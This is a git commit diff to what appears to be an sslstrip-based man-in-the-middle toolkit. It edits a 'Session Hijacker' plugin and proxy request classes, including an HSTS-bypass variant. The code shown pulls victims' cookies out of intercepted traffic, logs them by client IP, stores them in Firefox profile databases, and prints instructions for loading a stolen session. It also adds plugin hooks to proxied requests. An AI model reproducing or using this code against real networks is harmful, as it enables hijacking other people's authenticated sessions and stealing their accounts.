This commit is contained in:
byt3bl33d3r 2014-11-29 17:12:21 +01:00
parent 78dcfc0383
commit cded43f0c6
4 changed files with 11 additions and 6 deletions

View file

@ -8,7 +8,6 @@ import sys
import time
import logging
import sqlite3
#import threading
class SessionHijacker(Plugin):
name = "Session Hijacker"
@ -52,9 +51,6 @@ class SessionHijacker(Plugin):
eq = cookie.find("=")
cname = str(cookie)[0:eq].strip()
cvalue = str(cookie)[eq+1:].strip()
#t = threading.Thread(name='firefoxdb', target=self.firefoxdb, args=(headers['host'], cname, cvalue, url, client_ip))
#t.setDaemon(True)
#t.start()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
else:
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
@ -120,4 +116,5 @@ class SessionHijacker(Plugin):
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
def finish(self):
print "[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>'"
if self.firefox:
print "\n[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>/visited.html'"

View file

@ -33,6 +33,7 @@ from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
from ProxyPlugins import ProxyPlugins
class ClientRequest(Request):
@ -48,6 +49,7 @@ class ClientRequest(Request):
self.urlMonitor = URLMonitor.getInstance()
self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance()
self.plugins = ProxyPlugins.getInstance()
#self.uniqueId = random.randint(0, 10000)
def cleanHeaders(self):
@ -67,6 +69,8 @@ class ClientRequest(Request):
if 'cache-control' in headers:
del headers['cache-control']
self.plugins.hook()
return headers
def getPathFromUri(self):

View file

@ -33,6 +33,7 @@ from SSLServerConnectionHSTS import SSLServerConnection
from URLMonitorHSTS import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
from ProxyPlugins import ProxyPlugins
class ClientRequest(Request):
@ -48,6 +49,7 @@ class ClientRequest(Request):
self.urlMonitor = URLMonitor.getInstance()
self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance()
self.plugins = ProxyPlugins.getInstance()
# self.uniqueId = random.randint(0, 10000)
def cleanHeaders(self):
@ -82,6 +84,8 @@ class ClientRequest(Request):
headers['securelink'] = '1'
self.setHeader('Host',host)
self.plugins.hook()
return headers
def getPathFromUri(self):

View file

@ -62,7 +62,7 @@ class ServerConnection(HTTPClient):
def sendRequest(self):
if self.command == 'GET':
logging.info("%s Sending Request: %s %s" % (self.client.getClientIP(), self.command, self.headers['host']))
logging.info("%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host']))
self.plugins.hook()
self.sendCommand(self.command, self.uri)